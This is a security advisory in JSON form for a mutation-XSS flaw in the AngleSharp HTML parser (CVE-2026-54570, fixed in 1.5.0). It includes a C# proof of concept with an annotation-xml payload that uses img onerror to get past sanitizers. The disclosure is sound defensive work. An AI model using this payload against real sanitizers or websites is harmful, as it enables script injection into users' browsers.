{
  "affected": [
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "AngleSharp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.5.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54570"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-80"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-17T21:17:10Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nThe HTML specification requires that a MathML `\u003cannotation-xml\u003e` element with `encoding=\"text/html\"` or `encoding=\"application/xhtml+xml\"` is treated as an HTML integration point. Content inside it must be parsed as HTML, not MathML.\n\nAngleSharp does not implement this correctly. As a result, the parser produces a DOM tree that differs from what a browser will build (different namespaces if `encoding=\"text/html\"` is not treated) when given the same serialized output. Two bugs combine to make this exploitable:\n\n- Missing HtmlTip flag: MathAnnotationXmlElement is never assigned NodeFlags.HtmlTip based on its encoding attribute, so the Consume() dispatch always routes tokens to Foreign() instead of Home() (HTML mode).\n- Unescaped \u003c \u003e in attribute values: HtmlMarkupFormatter.WriteAttributeValue() does not escape \u003c or \u003e characters, only \u0026 and \". This allows injected markup to break out of attribute values on re-parse. _See [Escape \"\u003c\" and \"\u003e\" in attributes when serializing HTML #6235\n](https://github.com/whatwg/html/issues/6235)_\n\n\n### Details\nIn `MathAnnotationXmlElement` (`AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs`):\n```cs\n// Current \u2014 HtmlTip is never set\n: base(owner, TagNames.AnnotationXml, prefix, NodeFlags.Special | NodeFlags.Scoped)\n```\n\nBecause `HtmlTip` is absent, the token dispatch in `Consume()` always sends tokens to `Foreign()` when inside `annotation-xml`, regardless of the encoding attribute. The compensating check in `ForeignNormalTag()` only covers tags in `AllForeignExceptions` and is entirely bypassed during fragment parsing (`innerHTML` setter) due to an `if (!IsFragmentCase)` guard.\n\nIn `HtmlMarkupFormatter.WriteAttributeValue()` (`AngleSharp/Html/HtmlMarkupFormatter.cs`):\n```cs\n// Escapes \u0026 \" and \\u00A0, but NOT \u003c or \u003e\ncase Symbols.Ampersand:    stringBuilder.Append(\"\u0026amp;\");  break;\ncase Symbols.NoBreakSpace: stringBuilder.Append(\"\u0026nbsp;\"); break;\ncase Symbols.DoubleQuote:  stringBuilder.Append(\"\u0026quot;\"); break;\ndefault:                   stringBuilder.Append(value[i]); break; // \u003c and \u003e pass through raw\n```\n\n### PoC\nThe following program demonstrates that AngleSharp\u2019s parser misses the injected `\u003cimg\u003e` element. A sanitizer walking this DOM would see nothing dangerous, yet the serialized output re-parses in a browser as a live `\u003cimg onerror\u003e` trigger.\n```cs\nusing System;\nusing System.Linq;\nusing AngleSharp.Html.Parser;\n\t\t\t\npublic class Program\n{\n    static readonly string Payload1 =\n        \"\u003cmath\u003e\" +\n        \"\u003cannotation-xml encoding=\\\"text/html\\\"\u003e\" +\n        \"\u003ctitle\u003e\u003ca encoding=\\\"\u003c/title\u003e\u003cimg src=x onerror=alert()\u003e\\\"\u003e\" +\n        \"\u003c/annotation-xml\u003e\u003c/math\u003e\";\n\n    public static void Main()\n    {\n        var parser = new HtmlParser();\n\n        Check(parser, Payload1, \"IMG\",\n            \"AngleSharp missed \u003cimg\u003e \u2013 VULNERABLE (mXSS via attribute serialization)\",\n            \"AngleSharp found \u003cimg\u003e \u2013 SAFE\");\n    }\n\n    static void Check(HtmlParser parser, string html, string tag,\n                      string failMsg, string passMsg)\n    {\n        var doc     = parser.ParseDocument(html);\n        var tags    = doc.All.Select(e =\u003e e.TagName).ToHashSet();\n        var found   = tags.Contains(tag);\n\n        Console.WriteLine(found ? passMsg : failMsg);\n        Console.WriteLine(\"Serialized output:\");\n        Console.WriteLine(doc.DocumentElement.OuterHtml);\n    }\n}\n```\n\nOutput:\n```\nAngleSharp missed \u003cimg\u003e \u2013 VULNERABLE (mXSS via attribute serialization)\nSerialized output:\n\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cmath\u003e\u003cannotation-xml encoding=\"text/html\"\u003e\u003ctitle\u003e\u003ca encoding=\"\u003c/title\u003e\u003cimg src=x onerror=alert()\u003e\"\u003e\u003c/a\u003e\u003c/title\u003e\u003c/annotation-xml\u003e\u003c/math\u003e\u003c/body\u003e\u003c/html\u003e\n```\n\n_The `title` tag may be swapped out for `style` and other RCDATA elements._\n\nWhen a browser receives this string and parses `annotation-xml encoding=\"text/html\"` as an HTML integration point, the `\u003c/title\u003e` closes the title element and the `\u003cimg\u003e` fires its onerror handler.\n\n### Impact\nImplemented HTML sanitizers that depend and trust AngleSharp\u0027s ability to parse HTML correctly may be bypassable, as AngleSharp fails to acknowledge certain vectors under certain conditions.\n\nThis reduces AngleSharp\u0027s credibility as a conformant HTML parser.",
  "id": "GHSA-pgww-w46g-26qg",
  "modified": "2026-07-17T21:17:10Z",
  "published": "2026-07-17T21:17:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/AngleSharp/AngleSharp/security/advisories/GHSA-pgww-w46g-26qg"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/AngleSharp/AngleSharp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/AngleSharp/AngleSharp/releases/tag/1.5.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AngleSharp HTML5 Spec Compliance: mXSS via annotation-xml HTML Integration Point Bypass"
}